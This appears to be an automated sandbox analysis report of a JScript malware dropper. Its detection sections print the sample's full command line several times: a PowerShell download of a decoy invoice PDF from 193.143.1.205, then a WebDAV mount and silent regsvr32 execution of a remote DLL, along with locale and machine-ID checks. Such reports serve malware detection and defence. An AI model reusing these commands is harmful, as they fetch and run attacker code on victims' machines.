Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\4831.js.csv");ITextStream.WriteLine(" entry:8850 f:gxmsipzbe");ITextStream.WriteLine(" exec:2 f:gxmsipzbe");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3979			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5151			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5620	Thread sleep count: 3979 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6644	Thread sleep count: 5151 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2780	Thread sleep time: -11990383647911201s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4308	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1440	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6496	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 2984	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7300	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 00000007.00000002.2136511114.000001EBAD4B0000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2136511114.000001EBAD448000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3361953591.000001AC87A5A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000007.00000002.2136511114.000001EBAD4B0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWg
Source: svchost.exe, 00000009.00000002.3360938248.000001AC82427000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250703212822356.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250703212822356.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250703212822356.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250703212822356.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250703212822356.dll	Jump to behavior
